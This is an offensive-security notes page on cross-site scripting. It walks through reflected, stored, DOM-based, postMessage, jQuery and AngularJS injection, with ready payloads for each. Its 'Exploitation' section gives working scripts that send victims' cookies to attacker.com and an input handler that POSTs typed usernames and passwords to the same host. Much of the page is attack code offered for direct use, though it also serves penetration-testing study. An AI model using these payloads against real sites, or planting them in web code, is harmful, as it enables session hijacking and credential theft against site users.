offsecnotes

XSS

by frankheat

Cross-site scripting (XSS) works by manipulating a vulnerable web site so that it returns malicious JavaScript to users.

XSS cheatsheet: PortSwigger XSS cheat-sheet

More info about Javascript & obfuscation: [Javascript & Obfuscation]({{< ref “web/web-security/javascript and obfuscation/index” >}})

Warning: Do not use alert(1) -> use alert(document.domain).

<textarea id="script" onchange=("unsafe(this.value)"></textarea><br>
<iframe id="result" sandbox="allow-scripts allow-modals"></iframe>
document.session = "secret"
function unsafe(t) {
  var i = document.getElementById('result'); // get the <iframe>
  i.srcdoc = "<body><script>document.write("+t+");<"+"/script><body>";
}

Warning: Do not use <script> tag -> use <img>.

If your target is using the innerHTML sink, the most common sink vulnerable to DOM XSS so your script might not work as expected. This is because innerHTML won’t render a <script> tag []. However, if you use an <img> tag with an onerror attribute instead, the script will execute normally.

Additionally, if the target sanitizes your payload using a library like DOMPurify, instead of simply encoding it, a <script> tag would be completely stripped out, leaving no visible trace. On the other hand, if you use an <img> tag, DOMPurify will remove the onerror attribute as expected, but the image itself will still be present. You will see the image load (or attempt to load) and the corresponding request in the logs, signaling that further investigation is needed.


Reflected XSS

The malicious script comes from the current HTTP request.

https://insecure-website.com/search?term=<script>alert(document.domain)</script>

Stored XSS

The malicious script comes from the website’s database. POST body example:

comment=<script>alert(document.domain)</script>

DOM-based XSS

The vulnerability exists in client-side code rather than server-side code.

<script>
function trackSearch(query) {
  document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
  trackSearch(query);
}
</script>
# Get request 
https://insecure-website.com/index?search="><script>alert(document.domain)</script>

Methodology

  1. Look for any script that has a sinks
  2. See if you can control the sink
  3. Exploit it

Notes: 1. Here there are some sources and sinks

https://github.com/wisec/domxsswiki/wiki

https://portswigger.net/web-security/cross-site-scripting/dom-based#which-sinks-can-lead-to-dom-xss-vulnerabilities
  1. DOM Invader (Burp Suite tool) is a browser-based tool that helps you test for DOM XSS vulnerabilities using a variety of sources and sinks.

DOM-based web message

<!-- Vulnerable website -->
<script>
    window.addEventListener('message', function(e) {
        document.getElementById('test').innerHTML = e.data;
    })
</script>

Exploit

<iframe src=https://vuln.website/ onload='this.contentWindow.postMessage("<img src=1 onerror=print()>","*")'>

jQuery

jQuery’s attr() function can change the attributes of DOM elements

$(function() {
    $('#backLink').attr("href",(new URLSearchParams(window.location.search)).get('returnUrl'));
});

Exploit

?returnUrl=javascript:alert(document.domain)

jQuery’s $() selector function in another potential sink. If you open the browser console and type $('<img src=x onerror=alert()>') jQuery creates this new element (so the alert will be shown)

An example:

$(window).on('hashchange', function() {
    var element = $(location.hash);
    element[0].scrollIntoView();
});

Exploit

<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">

Note: Recent versions of jQuery have patched this specific vulnerability by preventing HTML injection into a selector if the input begins with a hash (#). But remember, this is just an example, the real problem is how $() selector works .

AngularJS

When a site uses the ng-app attribute on an HTML element, AngularJS processes it and executes JavaScript inside double curly braces {{ }} in HTML or attributes.

Consider

https://example.com/?search=test
<body ng-app>
<!-- something -->
<h1>0 search results for 'test'</h1>
<!-- something -->
</body>

Test

https://example.com/?search=%7B%7B1%2B1%7D%7D # ?search={{1+1}}
<body ng-app>
<!-- something -->
<h1>0 search results for '2'</h1>
<!-- something -->
</body>

Exploit

https://example.comnet/?search=%7B%7B%24on.constructor%28%27alert%281%29%27%29%28%29%7D%7D
# ?search={{$on.constructor('alert(1)')()}}
<body ng-app>
<!-- something -->
<h1>0 search results for ''</h1>
<!-- something -->
</body>

Reflected/Stored DOM XSS

If a script reads data from a URL and writes it to a dangerous sink, the vulnerability is client-side with no server processing.

eval('var data = "reflected string"');
element.innerHTML = comment.author

XSS contexts

Between HTML tags

<script>alert(document.domain)</script>
<img src=1 onerror=alert(1)>

Note: Understand how a payload works

In HTML tag attributes

Into JavaScript

Terminating the existing script

The browser interprets the </script> sequence within the string as the end of the script block, prematurely stopping the execution of your JavaScript script and generating an error.

<script>
...
var input = 'controllable data here';
...
</script>
<!-- Payload -->
</script><img src=1 onerror=alert(document.domain)>

Breaking out of a JavaScript string


Bypass WAF

If you receive an error like “tag is not allowed” or “event is not allowed”, use XSS cheat sheet (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) to discover a tag and event that work.


Exploitation

Steal cookies

<script>fetch('//attacker.com?'+document.cookie)</script>
<!-- or -->
<script>location='//attacker.com?'?+document.cookie</script>
<script>
fetch('https://attacker.com', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

Limitation:

Capture passwords

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://attacker.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Perform CSRF


Content security policy

CSP restrict the resources (such as scripts and images) that a page can load and restricting whether a page can be framed by other pages. CSP defends against XSS attacks in the following ways


Compress & minify JavaScript

You can compress and minify your JS by using tools like JSCompress.